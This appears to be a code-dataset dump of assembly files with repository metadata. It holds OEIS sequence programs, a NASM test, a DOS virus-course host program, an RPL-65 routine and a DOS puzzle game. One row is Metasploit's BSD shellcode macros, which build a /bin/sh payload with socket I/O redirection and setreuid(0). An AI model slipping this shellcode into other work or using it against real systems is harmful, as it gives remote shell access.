hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
81b988568046b3d55fa0f41da1816bd169db64fa
853
asm
Assembly
programs/oeis/022/A022359.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/022/A022359.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/022/A022359.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A022359: Fibonacci sequence beginning 0, 25. ; 0,25,25,50,75,125,200,325,525,850,1375,2225,3600,5825,9425,15250,24675,39925,64600,104525,169125,273650,442775,716425,1159200,1875625,3034825,4910450,7945275,12855725,20801000,33656725,54457725,88114450,142572175,230686625,373258800,603945425,977204225,1581149650,2558353875,4139503525,6697857400,10837360925,17535218325,28372579250,45907797575,74280376825,120188174400,194468551225,314656725625,509125276850,823782002475,1332907279325,2156689281800,3489596561125,5646285842925,9135882404050,14782168246975,23918050651025,38700218898000,62618269549025,101318488447025,163936757996050,265255246443075,429192004439125,694447250882200,1123639255321325,1818086506203525,2941725761524850,4759812267728375,7701538029253225 add $0,1 mov $1,9 mov $2,16 lpb $0 sub $0,1 add $2,$1 mov $1,$3 mov $3,$2 lpe
65.615385
718
0.848769
e736b000e0d6295aab462be1164add9401ccdc4f
393
asm
Assembly
programs/oeis/060/A060532.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/060/A060532.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/060/A060532.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A060532: Number of ways to color vertices of a heptagon using <= n colors, allowing rotations and reflections. ; 0,1,18,198,1300,5895,20646,60028,151848,344925,719290,1399266,2569788,4496323,7548750,12229560,19206736,29351673,43782498,63913150,91508580,128746431,178285558,243341748,327771000,436160725,573929226 mov $1,$0 pow $0,3 add $0,1 mov $2,$0 add $0,5 mul $1,$2 mul $1,$0 div $1,14
32.75
201
0.768448
cb9945889a3ffe7531f8e4ba72f1c82116b27f6c
118
asm
Assembly
src/third_party/nasm/test/xpaste.asm
Mr-Sheep/naiveproxy
9f6e9768295f6d1d41517a15a621d4756bd7d6be
[ "BSD-3-Clause" ]
2,219
2018-03-26T02:57:34.000Z
2022-03-31T00:27:59.000Z
src/third_party/nasm/test/xpaste.asm
Mr-Sheep/naiveproxy
9f6e9768295f6d1d41517a15a621d4756bd7d6be
[ "BSD-3-Clause" ]
250
2018-02-02T23:16:57.000Z
2022-03-21T06:09:53.000Z
src/third_party/nasm/test/xpaste.asm
Mr-Sheep/naiveproxy
9f6e9768295f6d1d41517a15a621d4756bd7d6be
[ "BSD-3-Clause" ]
473
2019-03-24T16:34:23.000Z
2022-03-31T02:01:05.000Z
%iassign OWORD_size 16 ; octo-word %idefine sizeof(_x_) _x_%+_size %define ptr eax+sizeof(oword) movdqa [ptr], xmm1
16.857143
34
0.737288
cbe7aa5462e59925e3f81ba20421b260b0248f3c
1,228
asm
Assembly
tools/DOSBox-0.74Win/FSysFAT/avt/p2_virus/xx5_host.asm
cyberitsec/antivirus
812be691c2a24cc4488ec848b64b57558c0311ab
[ "MIT" ]
1
2021-09-28T23:47:40.000Z
2021-09-28T23:47:40.000Z
tools/DOSBox-0.74Win/FSysFAT/avt/p2_virus/xx5_host.asm
cyberitsec/antivirus
812be691c2a24cc4488ec848b64b57558c0311ab
[ "MIT" ]
null
null
null
tools/DOSBox-0.74Win/FSysFAT/avt/p2_virus/xx5_host.asm
cyberitsec/antivirus
812be691c2a24cc4488ec848b64b57558c0311ab
[ "MIT" ]
null
null
null
.model large ;go to in ES in order 2 see PSP ;to see the start program is DS and starts with MyData ;0007:0000 from Load Module becomes for instance ;DS:0000+0007:0000 = 4F2C:0000 if DS=4F15 ;this program have 4 entries in Realocated Table Pointers for: ; mov AX,SEG MyData; mov AX, SEG Stiva; call far ptr procedura1; call far ptr procedura2 ;this host will be infected by Intruder-B MyData SEGMENT HI DB 'Program COM 05!$' zet dw 34; MyData ENDS Stiva SEGMENT dw 10h dup(3) varf label word Stiva ENDS ProgMain SEGMENT ASSUME DS:Mydata, SS:Stiva, CS:ProgMain HOST: mov AX,SEG MyData mov DS,AX mov AX, SEG Stiva mov SS, AX mov SP, offset varf call far ptr procedura1 mov CX,zet ; <=> mov CX, DS:zet mov ah,9 lea DX,HI; <=> mov dx, OFFSET HI int 21h call far ptr procedura2 mov ax,4c00h int 21h ProgMain ENDS Proceduri SEGMENT ASSUME CS:Proceduri procedura1 PROC FAR push BP mov BP,SP push AX mov AX, 1 pop AX pop BP retf procedura1 ENDP procedura2 PROC FAR push BP mov BP,SP push AX mov AX, 2 pop AX pop BP retf procedura2 ENDP Proceduri ENDS END HOST
16.594595
89
0.653094
2ae020147f75c346da27b5f89193d4952ed134f0
2,534
asm
Assembly
external/source/shellcode/bsd/ia32/generic.asm
madhavarao-yejarla/VoIP
3f7d0cdc0bb1423f9e952e411d073a1424ef9f5e
[ "Apache-2.0", "BSD-3-Clause" ]
35
2015-08-08T07:23:38.000Z
2021-04-07T18:00:44.000Z
external/source/shellcode/bsd/ia32/generic.asm
madhavarao-yejarla/VoIP
3f7d0cdc0bb1423f9e952e411d073a1424ef9f5e
[ "Apache-2.0", "BSD-3-Clause" ]
1
2019-02-12T12:13:53.000Z
2019-02-12T12:13:53.000Z
external/source/shellcode/bsd/ia32/generic.asm
fozavci/metasploit-framework-with-viproy
3f7d0cdc0bb1423f9e952e411d073a1424ef9f5e
[ "Apache-2.0", "BSD-3-Clause" ]
23
2015-08-11T05:07:47.000Z
2020-11-06T03:55:10.000Z
;; ; ; Name: generic ; Type: Macro Set ; Qualities: None ; Authors: skape <mmiller [at] hick.org> ; Version: $Revision: 1628 $ ; License: ; ; This file is part of the Metasploit Exploit Framework ; and is subject to the same licenses and copyrights as ; the rest of this package. ; ; Description: ; ; This file provides a generic API of macros that can be used ; by payloads. No payloads are actually implemented within this ; file. ; ; Macro List: ; ; execve_binsh - Executes a command shell with flags ; setreuid - Set real/effective user id ;; BITS 32 ;; ; Define undefined assumptions ;; %ifndef ASSUME_REG_EDX %define ASSUME_REG_EDX -1 %endif %ifndef ASSUME_REG_EAX %define ASSUME_REG_EAX -1 %endif ;; ; Macro: execve_binsh ; Purpose: Execute a command shell with various options ; Arguments: ; ; Execution flags: Flags used for executing the command shell in a ; number of modes. ; ; EXECUTE_REDIRECT_IO => Redirects stdin/stdout/stderr to the fd ; passed in 'edi'. ;; %define EXECUTE_REDIRECT_IO 0x0001 %macro execve_binsh 1 %if %1 & EXECUTE_REDIRECT_IO dup: %if ASSUME_REG_EDX != 2 push byte 0x2 pop ecx %endif dup_loop: %if ASSUME_REG_EAX == 0 mov al, 0x5a %else push byte 0x5a pop eax %endif %if ASSUME_REG_EDX == 2 push edx %else push ecx %endif %ifdef FD_REG_EBX push ebx %else push edi %endif %if ASSUME_REG_EDX == 2 push edx %else push ecx %endif int 0x80 %if ASSUME_REG_EDX == 2 dec edx %else dec ecx %endif jns dup_loop %undef ASSUME_REG_EAX %define ASSUME_REG_EAX 0 %endif execve: %if ASSUME_REG_EAX == 0 push eax %else push byte 0x3b pop eax cdq push edx %endif push dword 0x68732f2f push dword 0x6e69622f mov ebx, esp %if ASSUME_REG_EAX == 0 push eax %else push edx %endif push esp push ebx push ebx %if ASSUME_REG_EAX == 0 mov al, 0x3b %endif int 0x80 %endmacro ;; ; Macro: setreuid ; Purpose: Set effective user id ; Arguments: ; ; User ID: The user identifier to setreuid to, typically 0. ;; %macro setreuid 1 setreuid: %if %1 == 0 xor eax, eax %else %if %1 < 256 push byte %1 %else push dword %1 %endif pop eax %endif push eax push eax mov al, 0x7e push eax int 0x80 %endmacro
15.8375
77
0.61326
342f28cbc421ec628ceabcc190296c1d56ec0ad5
12,537
asm
Assembly
HU - Microprocessor Lab/Project/Project.asm
imzaaat/assembly-projects
059f143b62e1de10780a35efd64875ba4555cbe2
[ "MIT" ]
1
2021-11-30T19:20:16.000Z
2021-11-30T19:20:16.000Z
HU - Microprocessor Lab/Project/Project.asm
imzaaat/assembly-projects
059f143b62e1de10780a35efd64875ba4555cbe2
[ "MIT" ]
null
null
null
HU - Microprocessor Lab/Project/Project.asm
imzaaat/assembly-projects
059f143b62e1de10780a35efd64875ba4555cbe2
[ "MIT" ]
null
null
null
;;; SECTION 3 ;;; ;;; GROUP G ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ;;; ;;; Zaid Abdullah Abu-Tarboush ;;; ;;; 1537512 ;;; ;;; ;;; ;;; Anas Amjad Zaki ;;; ;;; 1437178 ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; .MODEL SMALL .STACK 32 .DATA X DW ? Y DW ? T DB ? linecounter dw ? LastRow DB ? LastCol DB ? LastX DW ? LastY DW ? msg DB "START$" winMSG DB "WIN$" lossMSG DB "GOODLOOK!$" PixelClr DB ? Phase DW 1 .CODE .STARTUP MOV AH, 00 MOV AL, 13h INT 10h ;;; ;;; START ;;; START: ;;; ;;; SQUARE 1 ;;; MOV X, 150 MOV Y, 100 MOV T, 20 MOV linecounter, 10 Square1Top: MOV CX, X MOV DX, Y MOV BL, T MOV BH, 0 MOV AH, 0Ch MOV AL, 4h DrawSquare1Top: INT 10h INC CX DEC BL CMP BL, 0 JNZ DrawSquare1Top INC X DEC Y DEC T DEC T DEC linecounter CMP linecounter, 0 JNZ Square1Top MOV X, 150 MOV Y, 100 MOV T, 20 MOV linecounter, 10 Square1Bot: MOV CX, X MOV DX, Y MOV BL, T MOV BH, 0 MOV AH, 0Ch MOV AL, 4h DrawSquare1Bot: INT 10h INC CX DEC BL CMP BL, 0 JNZ DrawSquare1Bot INC X INC Y DEC T DEC T DEC linecounter CMP linecounter, 0 JNZ Square1Bot ;;; ;;; SQUARE 2 ;;; MOV X, 160 MOV Y, 70 MOV T, 13 MOV linecounter, 5 Square2TopRight: MOV CX, X MOV DX, Y MOV BL, T MOV BH, 0 MOV AH, 0Ch MOV AL, 0Eh DrawSquare2TopRight: INT 10h INC DX DEC BL CMP BL, 0 JNZ DrawSquare2TopRight INC X INC Y DEC linecounter CMP linecounter, 0 JNZ Square2TopRight ;; ;; ;; MOV X, 172 MOV Y, 82 MOV T, 13 MOV linecounter, 8 Square2TopRight2: MOV CX, X MOV DX, Y MOV BL, T MOV BH, 0 MOV AH, 0Ch MOV AL, 0Eh DrawSquare2TopRight2: INT 10h INC DX DEC BL CMP BL, 0 JNZ DrawSquare2TopRight2 INC X INC Y DEC linecounter CMP linecounter, 0 JNZ Square2TopRight2 ;;;;;;;;;;;;;;; MOV X, 160 MOV Y, 130 MOV T, 13 MOV linecounter, 20 Square2BotRight: MOV CX, X MOV DX, Y MOV BL, T MOV BH, 0 MOV AH, 0Ch MOV AL, 0Eh DrawSquare2BotRight: INT 10h DEC DX DEC BL CMP BL, 0 JNZ DrawSquare2BotRight INC X DEC Y DEC linecounter CMP linecounter, 0 JNZ Square2BotRight ;;;;;;;;;;;;;;; MOV X, 180 MOV Y, 90 MOV T, 21 MOV linecounter, 10 Square2RightTri: MOV CX, X MOV DX, Y MOV BL, T MOV BH, 0 MOV AH, 0Ch MOV AL, 0Eh DrawSquare2RightTri: INT 10h INC DX DEC BL CMP BL, 0 JNZ DrawSquare2RightTri INC X INC Y DEC T DEC T DEC linecounter CMP linecounter, 0 JNZ Square2RightTri ;;;;;;;;;;;;;;; MOV X, 140 MOV Y, 100 MOV T, 13 MOV linecounter, 20 Square2BotLeft: MOV CX, X MOV DX, Y MOV BL, T MOV BH, 0 MOV AH, 0Ch MOV AL, 0Eh DrawSquare2BotLeft: INT 10h INC DX DEC BL CMP BL, 0 JNZ DrawSquare2BotLeft INC X INC Y DEC linecounter CMP linecounter, 0 JNZ Square2BotLeft ;;;;;;;;;;;;;;; MOV X, 140 MOV Y, 100 MOV T, 13 MOV linecounter, 20 Square2TopLeft: MOV CX, X MOV DX, Y MOV BL, T MOV BH, 0 MOV AH, 0Ch MOV AL, 0Eh DrawSquare2TopLeft: INT 10h DEC DX DEC BL CMP BL, 0 JNZ DrawSquare2TopLeft INC X DEC Y DEC linecounter CMP linecounter, 0 JNZ Square2TopLeft ;;;;;;;;;;;;;;; MOV X, 140 MOV Y, 88 MOV T, 25 MOV linecounter, 13 Square2LeftTri: MOV CX, X MOV DX, Y MOV BL, T MOV BH, 0 MOV AH, 0Ch MOV AL, 0Eh DrawSquare2LeftTri: INT 10h INC DX DEC BL CMP BL, 0 JNZ DrawSquare2LeftTri DEC X INC Y DEC T DEC T DEC linecounter CMP linecounter, 0 JNZ Square2LeftTri ;;; ;;; SQUARE 3 ;;; MOV X, 117 MOV Y, 100 MOV T, 13 MOV linecounter, 43 Square3TopLeft: MOV CX, X MOV DX, Y MOV BL, T MOV BH, 0 MOV AH, 0Ch MOV AL, 02h DrawSquare3TopLeft: INT 10h DEC DX DEC BL CMP BL, 0 JNZ DrawSquare3TopLeft INC X DEC Y DEC linecounter CMP linecounter, 0 JNZ Square3TopLeft ;;;;;;;;;;;;;;; MOV X, 117 MOV Y, 100 MOV T, 13 MOV linecounter, 10 Square3BotLeft: MOV CX, X MOV DX, Y MOV BL, T MOV BH, 0 MOV AH, 0Ch MOV AL, 02h DrawSquare3BotLeft: INT 10h INC DX DEC BL CMP BL, 0 JNZ DrawSquare3BotLeft INC X INC Y DEC linecounter CMP linecounter, 0 JNZ Square3BotLeft ;; ;; ;; MOV X, 134 MOV Y, 117 MOV T, 13 MOV linecounter, 26 Square3BotLeft2: MOV CX, X MOV DX, Y MOV BL, T MOV BH, 0 MOV AH, 0Ch MOV AL, 02h DrawSquare3BotLeft2: INT 10h INC DX DEC BL CMP BL, 0 JNZ DrawSquare3BotLeft2 INC X INC Y DEC linecounter CMP linecounter, 0 JNZ Square3BotLeft2 ;;;;;;;;;;;;;;; MOV X, 117 MOV Y, 88 MOV T, 25 MOV linecounter, 13 Square3LeftTri: MOV AH, 0Ch MOV AL, 02h MOV CX, X MOV DX, Y MOV BH, 0 MOV BL, T DrawSquare3LeftTri: INT 10h INC DX DEC BL CMP BL, 0 JNZ DrawSquare3LeftTri DEC X INC Y DEC T DEC T DEC linecounter CMP linecounter, 0 JNZ Square3LeftTri ;;;;;;;;;;;;;;; MOV X, 160 MOV Y, 47 MOV T, 13 MOV linecounter, 43 Square3TopRight: MOV CX, X MOV DX, Y MOV BL, T MOV BH, 0 MOV AH, 0Ch MOV AL, 02h DrawSquare3TopRight: INT 10h INC DX DEC BL CMP BL, 0 JNZ DrawSquare3TopRight INC X INC Y DEC linecounter CMP linecounter, 0 JNZ Square3TopRight ;;;;;;;;;;;;;;; MOV X, 160 MOV Y, 153 MOV T, 13 MOV linecounter, 43 Square3BotRight: MOV CX, X MOV DX, Y MOV BL, T MOV BH, 0 MOV AH, 0Ch MOV AL, 02h DrawSquare3BotRight: INT 10h DEC DX DEC BL CMP BL, 0 JNZ DrawSquare3BotRight INC X DEC Y DEC linecounter CMP linecounter, 0 JNZ Square3BotRight ;;;;;;;;;;;;;;; MOV X, 203 MOV Y, 90 MOV T, 21 MOV linecounter, 11 Square3RightTri: MOV AH, 0Ch MOV AL, 02h MOV CX, X MOV DX, Y MOV BH, 0 MOV BL, T DrawSquare3RightTri: INT 10h INC DX DEC BL CMP BL, 0 JNZ DrawSquare3RightTri INC X INC Y DEC T DEC T DEC linecounter CMP linecounter, 0 JNZ Square3RightTri ;;; ;;; SQUARE4 ;;; MOV X, 94 MOV Y, 100 MOV T, 13 MOV linecounter, 66 Square4TopLeft: MOV AH, 0Ch MOV AL, 01h MOV BH, 0 MOV BL, T MOV CX, X MOV DX, Y DrawSquare4TopLeft: INT 10h DEC DX DEC BL CMP BL, 0 JNZ DrawSquare4TopLeft INC X DEC Y DEC linecounter CMP linecounter, 0 JNZ Square4TopLeft ;;;;;;;;;;;;;;; MOV X, 94 MOV Y, 100 MOV T, 13 MOV linecounter, 66 Square4BotLeft: MOV AH, 0Ch MOV AL, 01h MOV BH, 0 MOV BL, T MOV CX, X MOV DX, Y DrawSquare4BotLeft: INT 10h INC DX DEC BL CMP BL, 0 JNZ DrawSquare4BotLeft INC X INC Y DEC linecounter CMP linecounter, 0 JNZ Square4BotLeft ;;;;;;;;;;;;;;; MOV X, 94 MOV Y, 88 MOV T, 25 MOV linecounter, 13 Square4LeftTri: MOV AH, 0Ch MOV AL, 01h MOV CX, X MOV DX, Y MOV BH, 0 MOV BL, T DrawSquare4LeftTri: INT 10h INC DX DEC BL CMP BL, 0 JNZ DrawSquare4LeftTri DEC X INC Y DEC T DEC T DEC linecounter CMP linecounter, 0 JNZ Square4LeftTri ;;;;;;;;;;;;;;; MOV X, 160 MOV Y, 34 MOV T, 13 MOV linecounter, 66 Square4TopRight: MOV AH, 0Ch MOV AL, 01h MOV BH, 0 MOV BL, T MOV CX, X MOV DX, Y DrawSquare4TopRight: INT 10h DEC DX DEC BL CMP BL, 0 JNZ DrawSquare4TopRight INC X INC Y DEC linecounter CMP linecounter, 0 JNZ Square4TopRight ;;;;;;;;;;;;;;; MOV X, 160 MOV Y, 176 MOV T, 13 MOV linecounter, 15 Square4BotRight: MOV AH, 0Ch MOV AL, 01h MOV BH, 0 MOV BL, T MOV CX, X MOV DX, Y DrawSquare4BotRight: INT 10h DEC DX DEC BL CMP BL, 0 JNZ DrawSquare4BotRight INC X DEC Y DEC linecounter CMP linecounter, 0 JNZ Square4BotRight ;; ;; ;; MOV X, 182 MOV Y, 154 MOV T, 13 MOV linecounter, 44 Square4BotRight2: MOV AH, 0Ch MOV AL, 01h MOV BH, 0 MOV BL, T MOV CX, X MOV DX, Y DrawSquare4BotRight2: INT 10h DEC DX DEC BL CMP BL, 0 JNZ DrawSquare4BotRight2 INC X DEC Y DEC linecounter CMP linecounter, 0 JNZ Square4BotRight2 ;;;;;;;;;;;;;;; MOV X, 226 MOV Y, 87 MOV T, 24 MOV linecounter, 12 Square4RightTri: MOV AH, 0Ch MOV AL, 01h MOV CX, X MOV DX, Y MOV BH, 0 MOV BL, T DrawSquare4RightTri: INT 10h INC DX DEC BL CMP BL, 0 JNZ DrawSquare4RightTri INC X INC Y DEC T DEC T DEC linecounter CMP linecounter, 0 JNZ Square4RightTri ;;; ;;; SQUARE 5 ;;; MOV X, 71 MOV Y, 100 MOV T, 13 MOV linecounter, 60 Square5TopLeft: MOV AH, 0Ch MOV AL, 0Bh MOV BH, 0 MOV BL, T MOV CX, X MOV DX, Y DrawSquare5TopLeft: INT 10h DEC DX DEC BL CMP BL, 0 JNZ DrawSquare5TopLeft INC X DEC Y DEC linecounter CMP linecounter, 0 JNZ Square5TopLeft ;; ;; ;; MOV X, 139 MOV Y, 32 MOV T, 13 MOV linecounter, 21 Square5TopLeft2: MOV AH, 0Ch MOV AL, 0Bh MOV BH, 0 MOV BL, T MOV CX, X MOV DX, Y DrawSquare5TopLeft2: INT 10h DEC DX DEC BL CMP BL, 0 JNZ DrawSquare5TopLeft2 INC X DEC Y DEC linecounter CMP linecounter, 0 JNZ Square5TopLeft2 ;;;;;;;;;;;;;;; MOV X, 71 MOV Y, 100 MOV T, 13 MOV linecounter, 89 Square5BotLeft: MOV AH, 0Ch MOV AL, 0Bh MOV BH, 0 MOV BL, T MOV CX, X MOV DX, Y DrawSquare5BotLeft: INT 10h INC DX DEC BL CMP BL, 0 JNZ DrawSquare5BotLeft INC X INC Y DEC linecounter CMP linecounter, 0 JNZ Square5BotLeft ;;;;;;;;;;;;;;; MOV X, 71 MOV Y, 88 MOV T, 25 MOV linecounter, 13 Square5LeftTri: MOV AL, 0Bh MOV AH, 0Ch MOV BH, 0 MOV BL, T MOV CX, X MOV DX, Y DrawSquare5LeftTri: INT 10h INC DX DEC BL CMP BL, 0 JNZ DrawSquare5LeftTri DEC X INC Y DEC T DEC T DEC linecounter CMP linecounter, 0 JNZ Square5LeftTri ;;;;;;;;;;;;;;; MOV X, 160 MOV Y, 1 MOV T, 13 MOV linecounter, 89 Square5TopRight: MOV AH, 0Ch MOV AL, 0Bh MOV BH, 0 MOV BL, T MOV CX, X MOV DX, Y DrawSquare5TopRight: INT 10h INC DX DEC BL CMP BL, 0 JNZ DrawSquare5TopRight INC X INC Y DEC linecounter CMP linecounter, 0 JNZ Square5TopRight ;;;;;;;;;;;;;;; MOV X, 160 MOV Y, 199 MOV T, 13 MOV linecounter, 89 Square5BotRight: MOV AH, 0Ch MOV AL, 0Bh MOV BH, 0 MOV BL, T MOV CX, X MOV DX, Y DrawSquare5BotRight: INT 10h DEC DX DEC BL CMP BL, 0 JNZ DrawSquare5BotRight INC X DEC Y DEC linecounter CMP linecounter, 0 JNZ Square5BotRight ;;;;;;;;;;;;;;; MOV X, 249 MOV Y, 90 MOV T, 21 MOV linecounter, 11 Square5RightTri: MOV AH, 0Ch MOV AL, 0Bh MOV CX, X MOV DX, Y MOV BH, 0 MOV BL, T DrawSquare5RightTri: INT 10h INC DX DEC BL CMP BL, 0 JNZ DrawSquare5RightTri INC X INC Y DEC T DEC T DEC linecounter CMP linecounter, 0 JNZ Square5RightTri ;; ;; DRAW START LABEL ;; MOV X, 12 MOV Y, 12 MOV linecounter, 16 StartLabel: MOV CX, X MOV DX, Y MOV BX, 48 MOV AH, 0Ch MOV AL, 06h DrawStartLabel: INT 10h INC CX DEC BX CMP BX, 0 JNZ DrawStartLabel INC Y DEC linecounter CMP linecounter, 0 JNZ StartLabel ;;; ;;; Draw Star ;;; MOV DH, 1 MOV DL, 15 MOV BH, 0 MOV AH, 2 INT 10h MOV AL, '*' MOV AH, 0Ah MOV BH, 0 MOV CX, 1 INT 10h ;;; ;;; START MESSAGE ;;; MOV DH, 2 MOV DL, 2 MOV BH, 0 MOV AH, 2 INT 10h MOV DX, OFFSET msg MOV AH, 9 INT 21h ;;; ;;; INITIALIZE MOUSE ;;; MOV AX, 0000 INT 33h MOV AX, 1 INT 33h ;;; ;;; Get Coordinates ;;; MouseAgain: MOV AX, 3 INT 33h CMP BX, 1 JNZ MouseAgain SHR CX, 1 MOV LastX, CX MOV LastY, DX SHR CX, 1 SHR CX, 1 SHR CX, 1 MOV LastCol, CL SHR DX, 1 SHR DX, 1 SHR DX, 1 MOV LastRow, DL CMP Phase, 1 JZ Phase1 CMP Phase, 2 JZ Phase2 CMP Phase, 3 JZ Phase3 CMP Phase, 4 JZ Phase4 ;; ;; BLACK TO BLUE ;; Phase1: MOV CX, LastX MOV DX, LastY MOV AH, 0Dh INT 10h MOV PixelClr, AL CMP PixelClr, 01h JNZ SHOWLOSEMSG CMP LastX, 125 JL SHOWLOSEMSG CMP LastX, 165 JG SHOWLOSEMSG CMP LastY, 30 JL SHOWLOSEMSG CMP LastY, 60 JG SHOWLOSEMSG INC Phase JMP WriteStar ;; ;; BLUE TO GREEN ;; Phase2: MOV CX, LastX MOV DX, LastY MOV AH, 0DH INT 10h MOV PixelClr, Al CMP PixelClr, 01h JZ WriteStar CMP PixelClr, 02h JNZ SHOWLOSEMSG CMP LastX, 155 JL SHOWLOSEMSG CMP LastX, 185 JG SHOWLOSEMSG CMP LastY, 155 JG SHOWLOSEMSG CMP LastY, 130 JL SHOWLOSEMSG INC Phase JMP WriteStar ;; ;; GREEN TO YELLOW ;; Phase3: MOV CX, LastX MOV DX, LastY MOV AH, 0Dh INT 10h MOV PixelClr, AL CMP PixelClr, 02h JZ WriteStar CMP PixelClr, 0Eh JNZ SHOWLOSEMSG CMP LastX, 130 JL SHOWLOSEMSG CMP LastX, 185 JG SHOWLOSEMSG CMP LastY, 95 JL SHOWLOSEMSG CMP LastY, 120 JG SHOWLOSEMSG INC Phase JMP WriteStar Phase4: MOV CX, LastX MOV DX, LastY MOV AH, 0Dh INT 10h MOV PixelClr, AL CMP PixelClr, 0Eh JZ WriteStar CMP PixelClr, 04h JNZ SHOWLOSEMSG INC Phase JMP WriteStar ;;; ;;; WRITE STAR ;;; WriteStar: MOV DH, LastRow MOV DL, LastCol MOV BH, 0 MOV AH, 2 INT 10h MOV AL, '*' MOV AH, 0Ah MOV BH, 0 MOV CX, 1 INT 10h CMP PixelClr, 04h JZ SHOWWINMSG JMP MouseAgain ;;; ;;; WIN MESSAGE ;;; SHOWWINMSG: MOV DH, 6 MOV DL, 2 MOV BH, 0 MOV AH, 2 INT 10h MOV DX, OFFSET winMSG MOV AH, 9 INT 21h JMP LoadNewGame ;;; ;;; LOSS MESSAGE ;;; SHOWLOSEMSG: MOV DH, 6 MOV DL, 2 MOV BH, 0 MOV AH, 2 INT 10h MOV DX, OFFSET lossMSG MOV AH, 9 INT 21h JMP LoadNewGame ;;; ;;; LOAD NEW GAME ;;; LoadNewGame: MOV AX, 3 INT 33h CMP BX, 1 JNZ LoadNewGame CMP CX, 60 JG LoadNewGame CMP CX, 12 JL LoadNewGame CMP DX, 12 JL LoadNewGame CMP DX, 28 JG LoadNewGame JMP START FINISH: END
9.376963
38
0.666906
2b2846031552dc48f3e9bec5a2a8fc721a607d67
1,679
asm
Assembly
source/core/index.asm
paulscottrobson/rpl-65
73f85a6b0f230fa03a41e1a9416c2511cf67f0c0
[ "MIT" ]
1
2019-11-20T09:18:22.000Z
2019-11-20T09:18:22.000Z
source/core/index.asm
paulscottrobson/rpl-65
73f85a6b0f230fa03a41e1a9416c2511cf67f0c0
[ "MIT" ]
null
null
null
source/core/index.asm
paulscottrobson/rpl-65
73f85a6b0f230fa03a41e1a9416c2511cf67f0c0
[ "MIT" ]
null
null
null
; ****************************************************************************** ; ****************************************************************************** ; ; Name : index.asm ; Purpose : Index Checking / Calculations ; Author : Paul Robson (paul@robsons.org.uk) ; Created : 13th November 2019 ; ; ****************************************************************************** ; ****************************************************************************** IndexCheck: lda (codePtr),y ; do we have a [ cmp #KWD_LSQPAREN beq _ICFound rts ; _ICFound: iny ; get next lda (codePtr),y cmp #KWD_RSQPAREN ; is it ], then stack value index. beq _ICStackIndex sec sbc #$80 ; this will shift 00-3F into that range cmp #$40 bcs _ICError ; ; This is the constant indexing code [x] x = 0..63 ; asl a ; double index clear carry phy ; put into Y adc (zTemp0) ; follow the vector adding the index pha ldy #1 lda (zTemp0),y adc #0 sta zTemp0+1 pla sta zTemp0 ply ; restore position. iny ; skip index ; lda (codePtr),y ; get & skip next iny cmp #KWD_RSQPAREN ; should be ] bne _ICError rts ; _ICError: rerror "INDEX?" ; ; This uses TOS. ; _ICStackIndex: iny ; skip the ] lda lowStack,x ; get tos -> zTemp1 doubled asl a sta zTemp1 lda highStack,x rol a sta zTemp1+1 dex ; throw TOS. ; phy ldy #1 ; calculate new address lda (zTemp0) adc zTemp1 pha lda (zTemp0),y adc zTemp1+1 sta zTemp0+1 pla sta zTemp0 ply ; restore pos and exit. rts
22.092105
80
0.46754
f50f590fa62723d0be6c682921182a36fae4cb5c
499
asm
Assembly
programs/oeis/116/A116588.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/116/A116588.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/116/A116588.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A116588: Array read by antidiagonals: T(n,k) = max(2^(n - k), 2^(k - n)). ; 1,2,2,4,1,4,8,2,2,8,16,4,1,4,16,32,8,2,2,8,32,64,16,4,1,4,16,64,128,32,8,2,2,8,32,128,256,64,16,4,1,4,16,64,256,512,128,32,8,2,2,8,32,128,512,1024,256,64,16,4,1,4,16,64,256,1024,2048,512,128 cal $0,143182 ; Triangle T(n,m) = 1 + abs(n-2*m), read by rows, 0<=m<=n. mov $2,3 mov $3,$0 add $3,3 mov $4,3 lpb $3,1 div $3,10 add $3,$0 sub $0,1 mul $1,2 add $1,$4 sub $1,2 lpe add $1,$2 sub $1,6 div $1,4 add $1,1
23.761905
192
0.571142
0444620aa7675aa4d128f043e61f6d68cc793bcf
2,272
asm
Assembly
externals/mpir-3.0.0/mpn/x86/k7/mmx/k8/addmul_1.asm
JaminChan/eos_win
c03e57151cfe152d0d3120abb13226f4df74f37e
[ "MIT" ]
1
2018-08-14T03:52:21.000Z
2018-08-14T03:52:21.000Z
